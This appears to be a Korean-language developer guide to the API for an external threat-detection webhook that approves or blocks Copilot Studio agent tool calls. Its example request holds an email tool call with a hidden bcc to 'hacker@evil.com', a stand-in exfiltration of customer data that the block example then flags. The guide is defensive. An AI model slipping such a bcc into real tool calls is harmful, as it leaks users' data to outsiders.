Copilot Studio 에이전트에 대한 런타임 위협 탐지 시스템 빌드

조직은 Copilot Studio 에이전트를 런타임 위협 탐지 시스템에 연결하여 보안 계층을 추가할 수 있습니다. 연결되면 에이전트는 런타임에 이 시스템을 호출합니다. 에이전트는 시스템에서 에이전트가 호출하려는 도구가 합법적인지 여부를 확인할 수 있도록 시스템에 데이터를 제공합니다. 그런 다음 시스템은 "승인" 또는 "차단"의 응답으로 Copilot Studio에 회신하여 에이전트가 그에 따라 도구를 호출하거나 건너뜁니다. 에이전트를 기존 외부 위협 탐지 시스템에 연결하는 방법에 대한 자세한 내용은 Copilot Studio 사용자 지정 에이전트에 대한 외부 위협 탐지 및 보호 사용을 참조하세요.

이 문서는 개발자를 대상으로 하며, Copilot Studio 에이전트를 위한 보안 공급자로 사용자 고유의 위협 탐지 기능을 통합하는 방법을 설명합니다.

통합은 두 개의 엔드포인트로 구성된 API를 기반으로 합니다. 구현해야 하는 주요 엔드포인트는 엔드포인트입니다 analyze-tool-execution . 이 엔드포인트를 위협 탐지 시스템에 대한 인터페이스로 노출해야 합니다. 고객이 시스템을 외부 위협 탐지 시스템으로 구성하면 에이전트는 도구를 호출할 때마다 이 API를 호출합니다.

엔드포인트 외에도 analyze-tool-execution 두 validate번째 엔드포인트를 노출해야 합니다. validate 엔드포인트는 시스템 설정의 일부로 엔드포인트의 상태 및 준비 상태를 확인하는 데 사용됩니다.

다음 섹션에서는 각 엔드포인트에 대해 자세히 설명합니다.

POST /validate

목적: 위협 탐지 엔드포인트에 연결할 수 있고 작동하는지 확인합니다. 초기 설정 및 구성 테스트에 사용됩니다.

요청 유효성 검사

• 메서드: 올리기

• URL:https://{threat detection endpoint}/validate?api-version=2025-05-01

• 헤더:

  • 권한 부여: API 인증을 위한 전달자 토큰

  • x-ms-correlation-id: 추적을 위한 GUID

• 몸: 비우다

응답 유효성 검사

200 OK 응답 예제

{
  "isSuccessful": true,
  "status": "OK"
}

오류 응답 예제

오류가 발생하면(실패한 HTTP 코드) 엔드포인트는 오류 코드, 메시지 및 선택적 진단을 반환합니다.

{
  "errorCode": 5031,
  "message": "Validation failed. Webhook service is temporarily unavailable.",
  "httpStatus": 503,
  "diagnostics": "{\\reason\\:\\Upstream dependency timeout\\}"
}

POST /analyze-tool-execution

목적: 위험 평가를 위해 도구 실행 컨텍스트를 제출합니다. 도구 실행 요청을 평가하고 도구 실행을 허용하거나 차단할지 여부를 응답합니다.

분석 도구 실행 요청

• 메서드: 올리기

• URL:https://{threat detection endpoint}/analyze-tool-execution?api-version=2025-05-01

• 헤더:

  • 권한 부여: API 인증을 위한 전달자 토큰
  • Content-Type: application/json

• 몸: JSON 개체

분석 도구 실행 요청 예제

POST https://security.contoso.com/api/agentSecurity/analyze-tool-execution?api-version=2025-05-01
Authorization: Bearer XXX……
x-ms-correlation-id: fbac57f1-3b19-4a2b-b69f-a1f2f2c5cc3c
Content-Type: application/json

{
  "plannerContext": {
    "userMessage": "Send an email to the customer",
    "thought": "User wants to notify customer",
    "chatHistory": [
      {
        "id": "m1",
        "role": "user",
        "content": "Send an email to the customer",
        "timestamp": "2025-05-25T08:00:00Z"
      },
      {
        "id": "m2",
        "role": "assistant",
        "content": "Which customer should I email?",
        "timestamp": "2025-05-25T08:00:01Z"
      },
      {
        "id": "m3",
        "role": "user",
        "content": "The customer is John Doe",
        "timestamp": "2025-05-25T08:00:02Z"
      }
    ],
    "previousToolOutputs": [
      {
        "toolId": "tool-123",
        "toolName": "Get customer email by name",
        "outputs": {
          "name": "email",
          "description": "Customer's email address",
          "type": {
            "$kind": "String"
          },
          "value": "customer@foobar.com"
        },
        "timestamp": "2025-05-25T08:00:02Z"
      }
    ]
  },
  "toolDefinition": {
    "id": "tool-123",
    "type": "PrebuiltToolDefinition",
    "name": "Send email",
    "description": "Sends an email to specified recipients.",
    "inputParameters": [
      {
        "name": "to",
        "description": "Receiver of the email",
        "type": {
          "$kind": "String"
        }
      },
      {
        "name": "bcc",
        "description": "BCC of the email",
        "type": {
          "$kind": "String"
        }
      }
    ],
    "outputParameters": [
      {
        "name": "result",
        "description": "Result",
        "type": {
          "$kind": "String"
        }
      }
    ]
  },
  "inputValues": {
    "to": "customer@foobar.com",
    "bcc": "hacker@evil.com"
  },
  "conversationMetadata": {
    "agent": {
      "id": "agent-guid",
      "tenantId": "tenant-guid",
      "environmentId": "env-guid",
      "isPublished": true
    },
    "user": {
      "id": "user-guid",
      "tenantId": "tenant-guid"
    },
    "trigger": {
      "id": "trigger-guid",
      "schemaName": "trigger-schema"
    },
    "conversationId": "conv-id",
    "planId": "plan-guid",
    "planStepId": "step-1"
  }
}

분석 도구 실행 응답

200 확인

요청이 유효하면 정의된 조건에 따라 요청에 지정된 도구 사용이 평가되고 허용 되거나 차단됩니다. 응답에는 다음 필드가 포함될 수 있습니다.

• blockAction (부울): 작업을 차단해야 하는지 여부
• reasonCode (정수, 선택 사항): 블록의 이유를 설명하는 숫자 코드
• reason (문자열, 선택 사항): 사람이 읽을 수 있는 설명
• 진단 (개체, 선택 사항): 추적 또는 디버깅에 대한 기타 세부 정보

응답 허용 예제

{
  "blockAction": false
}

블록 응답 예제

{
  "blockAction": true,
  "reasonCode": 112,
  "reason": "The action was blocked because there is a noncompliant email address in the BCC field.",
  "diagnostics": "{\\flaggedField\\:\\bcc\\,\\flaggedValue\\:\\hacker@evil.com\\}"
}

오류 응답 예제

요청이 유효하지 않으면 오류 코드, 메시지, HTTP 상태 및 선택적 진단과 함께 오류 응답이 반환됩니다.

{
  "errorCode": 4001,
  "message": "Missing required field: toolDefinition",
  "httpStatus": 400,
  "diagnostics": "{\\missingField\\:\\toolDefinition\\,\\traceId\\:\\abc-123\\}"
}

요청 및 응답 본문 구조 참조

다음 표에서는 엔드포인트에 대한 요청 및 응답 본문 내에서 사용되는 다양한 개체의 내용을 설명합니다.

ValidationResponse

AnalyzeToolExecutionResponse

ErrorResponse

EvaluationRequest

PlannerContext

ChatMessage

ToolExecutionOutputs

ExecutionOutput

ToolDefinition

ToolInput

ToolOutput

ConversationMetadata

AgentContext

UserContext

TriggerContext

Authentication

개발하는 통합은 Microsoft Entra ID 인증을 사용해야 합니다. 개발자가 빌드하는 앱 통합에 대한 지침을 따릅니다.

수행할 단계는 다음과 같습니다.

• 테넌트에서 리소스에 대한 앱 등록을 만듭니다.
• 웹 API에 대한 범위를 노출합니다. 노출된 범위는 고객이 호출하는 리소스의 기본 URL이어야 합니다. 예를 들어 API URL이면 노출된 범위는 https://security.contoso.com/api/threatdetection여야 https://security.contoso.com합니다.
• 서비스를 구현하는 방법에 따라 권한 부여 논리를 구현하고 들어오는 토큰의 유효성을 검사해야 합니다. 고객이 앱에 권한을 부여하는 방법을 문서화해야 합니다. 예를 들어 앱 ID의 허용 목록 또는 RBAC(역할 기반 액세스 제어)를 사용하는 여러 가지 방법이 있습니다.

응답 시간 요구 사항

에이전트는 1,000ms 미만의 위협 탐지 시스템의 응답을 기대합니다. 엔드포인트가 이 시간 프레임 내에서 호출에 회신하는지 확인해야 합니다. 시스템이 시간에 응답하지 않으면 에이전트는 응답이 도구를 호출하는 "허용"인 것처럼 동작합니다.

API 버전 관리

요청에서 API 버전은 쿼리 매개 변수(예: api-version=2025-05-01)를 통해 api-version 지정됩니다. 구현은 다른 예기치 않은 필드에 관대해야 하며 나중에 새 값이 추가될 경우 실패하지 않아야 합니다. 현재 모든 버전이 호환되지 않는 것으로 간주되기 때문에 파트너는 API 버전을 확인해서는 안 됩니다. 파트너는 API 버전을 추적해야 하지만 새 버전이 표시되면 요청에 실패하지 않아야 합니다.